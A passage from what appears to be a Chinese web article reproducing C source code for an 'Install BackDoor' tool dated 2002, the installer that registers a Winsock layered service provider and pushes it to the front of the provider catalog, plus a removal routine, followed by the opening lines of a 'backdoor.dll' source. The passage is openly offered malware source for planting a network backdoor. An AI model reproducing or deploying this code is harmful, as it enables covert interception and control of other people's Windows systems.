return ; }
freefilter();
getfilter();
if((cataentries=(LPDWORD)GlobalAlloc(GPTR,totalprotos*sizeof(WSAPROTOCOL_INFOW)))==NULL) { printf("GlobalAlloc int installfilter Error: %d\n",errorcode); return ; }
cataindex=0; for(i=0;i<totalprotos;i++) { if(memcmp(&protoinfo[i].ProviderId,&filterguid,sizeof(GUID))==0 || memcmp(&protoinfo[i].ProviderId,&filterchainguid,sizeof(GUID))==0) { cataentries[cataindex++]=protoinfo[i].dwCatalogEntryId; } }
for(i=0;i<totalprotos;i++) { if(memcmp(&protoinfo[i].ProviderId,&filterguid,sizeof(GUID))!=0 && memcmp(&protoinfo[i].ProviderId,&filterchainguid,sizeof(GUID))!=0) { cataentries[cataindex++]=protoinfo[i].dwCatalogEntryId; } }
if((errorcode==WSCWriteProviderOrder(cataentries,totalprotos))!=ERROR_SUCCESS) { printf("WSCWriteProviderOrder Error: %d\n",GetLastError()); return ; }
freefilter(); }
void removefilter() { int errorcode;
if(WSCDeinstallProvider(&filterguid,&errorcode)==SOCKET_ERROR) { printf("WSCDeinstall filterguid Error: %d\n",errorcode); }
if(WSCDeinstallProvider(&filterchainguid,&errorcode)==SOCKET_ERROR) { printf("WSCDeinstall filterchainguid Error: %d\n",errorcode); } return ; }
void start() { printf("Install BackDoor, by TOo2y\n"); printf("E-mail: TOo2y@safechina.net\n"); printf("Homepage: www.safechina.net\n"); printf("Date: 11-3-2002\n\n"); return ; } void usage() { printf("instBD [ -install | -remove]\n"); return ; }
2.backdoor.dll的源代码
#pragma data_seg("Shared") int dllcount=0; #pragma data_seg() #pragma comment (linker,"/section:Shared,rws")
#define UNICODE #define _UNICODE
#include <ws2spi.h>
上一篇:无盘工作站2000终端全攻略
下一篇:极限软件电影下载密技
|